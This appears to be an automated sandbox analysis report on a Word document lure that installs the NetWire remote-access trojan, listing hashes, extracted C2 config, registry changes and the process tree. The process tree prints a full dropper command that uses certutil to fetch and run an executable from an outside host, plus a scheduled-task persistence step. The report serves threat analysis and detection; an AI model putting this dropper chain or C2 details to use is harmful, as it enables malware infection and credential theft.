netwire | 7ce5a9235acf3eb2001197190b598be8fa49e8f0e2ef9d0ae0a1c2c3095cd7b7

Analysis

max time kernel
108s
max time network
49s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
12-10-2022 07:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RFQ-MVP300-3400 For MSA New Vessel.doc
Size

63KB
MD5

5d3e6d263bd94b901830e792fd237693
SHA1

de135c0e1255f334513aff51515de780d8ac8099
SHA256

7ce5a9235acf3eb2001197190b598be8fa49e8f0e2ef9d0ae0a1c2c3095cd7b7
SHA512

3b1a29ef85680507f70f374fa5ec72cc56387b258d4a39ee64dc3ac980170116a0ddff972813a40a247a28f761aa129fea20d69753c543fade5f30c4991a6355
SSDEEP

384:OiCquMo5W4eDbg8iSUR/8daGJrqrjKOxtXYI+Q/cj0tpbnopkpSEP0j:OiCXf5zSe/qvsuxI+4DpbnokSi

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

37.0.14.206:3384

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
install_path
%AppData%\Install\Host.exe
lock_executable
false
offline_keylogger
false
password
Password234
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1088-162-0x000000000041AD7B-mapping.dmp	netwire
behavioral1/memory/1088-170-0x0000000000400000-0x000000000044F000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1800	1360	cmd.exe	WINWORD.EXE

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

bin.exebin.exeHost.exe

pid process

1084 bin.exe
1088 bin.exe
1324 Host.exe
Loads dropped DLL 3 IoCs

Processes:

cmd.exebin.exebin.exe

pid process

1696 cmd.exe
1084 bin.exe
1088 bin.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

bin.exe

description pid process target process

PID 1084 set thread context of 1088 1084 bin.exe bin.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1512 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

988 timeout.exe
1072 timeout.exe

pid	process
1084	bin.exe
1088	bin.exe
1324	Host.exe

pid	process
1696	cmd.exe
1084	bin.exe
1088	bin.exe

description	pid	process	target process
PID 1084 set thread context of 1088	1084	bin.exe	bin.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
1512	schtasks.exe

pid	process
988	timeout.exe
1072	timeout.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1360 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

bin.exe

pid process

1084 bin.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

bin.exe

description pid process

Token: SeDebugPrivilege 1084 bin.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1360 WINWORD.EXE
1360 WINWORD.EXE

pid	process
1360	WINWORD.EXE

pid	process
1084	bin.exe

description	pid	process
Token: SeDebugPrivilege	1084	bin.exe

pid	process
1360	WINWORD.EXE
1360	WINWORD.EXE

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

WINWORD.EXEcmd.exeWScript.execmd.execmd.exebin.exebin.exe

description	pid	process	target process
PID 1360 wrote to memory of 1800	1360	WINWORD.EXE	cmd.exe
PID 1360 wrote to memory of 1800	1360	WINWORD.EXE	cmd.exe
PID 1360 wrote to memory of 1800	1360	WINWORD.EXE	cmd.exe
PID 1360 wrote to memory of 1800	1360	WINWORD.EXE	cmd.exe
PID 1800 wrote to memory of 988	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 988	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 988	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 988	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 2000	1800	cmd.exe	WScript.exe
PID 1800 wrote to memory of 2000	1800	cmd.exe	WScript.exe
PID 1800 wrote to memory of 2000	1800	cmd.exe	WScript.exe
PID 1800 wrote to memory of 2000	1800	cmd.exe	WScript.exe
PID 1800 wrote to memory of 1072	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 1072	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 1072	1800	cmd.exe	timeout.exe
PID 1800 wrote to memory of 1072	1800	cmd.exe	timeout.exe
PID 2000 wrote to memory of 1488	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1488	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1488	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1488	2000	WScript.exe	cmd.exe
PID 1488 wrote to memory of 1712	1488	cmd.exe	certutil.exe
PID 1488 wrote to memory of 1712	1488	cmd.exe	certutil.exe
PID 1488 wrote to memory of 1712	1488	cmd.exe	certutil.exe
PID 1488 wrote to memory of 1712	1488	cmd.exe	certutil.exe
PID 2000 wrote to memory of 1696	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1696	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1696	2000	WScript.exe	cmd.exe
PID 2000 wrote to memory of 1696	2000	WScript.exe	cmd.exe
PID 1696 wrote to memory of 1084	1696	cmd.exe	bin.exe
PID 1696 wrote to memory of 1084	1696	cmd.exe	bin.exe
PID 1696 wrote to memory of 1084	1696	cmd.exe	bin.exe
PID 1696 wrote to memory of 1084	1696	cmd.exe	bin.exe
PID 1360 wrote to memory of 1732	1360	WINWORD.EXE	splwow64.exe
PID 1360 wrote to memory of 1732	1360	WINWORD.EXE	splwow64.exe
PID 1360 wrote to memory of 1732	1360	WINWORD.EXE	splwow64.exe
PID 1360 wrote to memory of 1732	1360	WINWORD.EXE	splwow64.exe
PID 1084 wrote to memory of 1512	1084	bin.exe	schtasks.exe
PID 1084 wrote to memory of 1512	1084	bin.exe	schtasks.exe
PID 1084 wrote to memory of 1512	1084	bin.exe	schtasks.exe
PID 1084 wrote to memory of 1512	1084	bin.exe	schtasks.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1084 wrote to memory of 1088	1084	bin.exe	bin.exe
PID 1088 wrote to memory of 1324	1088	bin.exe	Host.exe
PID 1088 wrote to memory of 1324	1088	bin.exe	Host.exe
PID 1088 wrote to memory of 1324	1088	bin.exe	Host.exe
PID 1088 wrote to memory of 1324	1088	bin.exe	Host.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ-MVP300-3400 For MSA New Vessel.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1360

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "http://tulpexim.com/html/dixtin.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo CreateObject("WScript.Shell").Run "cmd.exe /c %temp%\bin.exe", 0, True >> %temp%\script.vbs && timeout 3 && start %temp%\script.vbs && timeout 3 && del %temp%\script.vbs
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:988

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f http://tulpexim.com/html/dixtin.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1488

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f http://tulpexim.com/html/dixtin.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
PID:1712

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1696

C:\Users\Admin\AppData\Local\Temp\bin.exe
C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DpaItRCg" /XML "C:\Users\Admin\AppData\Local\Temp\tmpBCBB.tmp"
6⤵
- Creates scheduled task(s)
PID:1512

C:\Users\Admin\AppData\Local\Temp\bin.exe
"{path}"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1088

C:\Users\Admin\AppData\Roaming\Install\Host.exe
"C:\Users\Admin\AppData\Roaming\Install\Host.exe"
7⤵
- Executes dropped EXE
PID:1324

C:\Windows\SysWOW64\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1072

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
793KB

MD5
3f2a653458d88060d8e2dcfde4a2b396

SHA1
8b514d159d3aad5ed0eb8b0b5ee7db53e183738e

SHA256
af18d799c7288fc034106f041f1595591719fb64adebebc3f78b634229a7f83d

SHA512
a4be00914fe7719d7983997e211fe1869eea4a09e31fb40989bb87c325053d76908d70173154713e8fe617739c4559759f1521333646b5d9e1a53c64cb0656a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
793KB

MD5
3f2a653458d88060d8e2dcfde4a2b396

SHA1
8b514d159d3aad5ed0eb8b0b5ee7db53e183738e

SHA256
af18d799c7288fc034106f041f1595591719fb64adebebc3f78b634229a7f83d

SHA512
a4be00914fe7719d7983997e211fe1869eea4a09e31fb40989bb87c325053d76908d70173154713e8fe617739c4559759f1521333646b5d9e1a53c64cb0656a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
793KB

MD5
3f2a653458d88060d8e2dcfde4a2b396

SHA1
8b514d159d3aad5ed0eb8b0b5ee7db53e183738e

SHA256
af18d799c7288fc034106f041f1595591719fb64adebebc3f78b634229a7f83d

SHA512
a4be00914fe7719d7983997e211fe1869eea4a09e31fb40989bb87c325053d76908d70173154713e8fe617739c4559759f1521333646b5d9e1a53c64cb0656a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\script.vbs
Filesize
289B

MD5
662449f1879133e0fc1f2385f79debfc

SHA1
47895b9fb941a4cf85224ead44e3dedb6b4ab6a0

SHA256
749c75087d71b5be5b97333ac2a47bf758e4c2a6fc393c40bde00a73cea4fd98

SHA512
d200dfb1e4900524d6663f5fc81f08decc5d8c57c57a6dd852e5ea4a59632c9ebec7ff59f275c4acd79130baaab799a5833394867f8acf9d75cf4ffa536e3c83

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpBCBB.tmp
Filesize
1KB

MD5
9e3e4a8c3b2e0b97e3d4fe3e309cfc81

SHA1
f45d813383a9a4a65bcd416c02b5f529a7e065f2

SHA256
05102414e35ab2a37a21a62113069ecf02ce577a1851c65821f2dcf8dbc1fd2b

SHA512
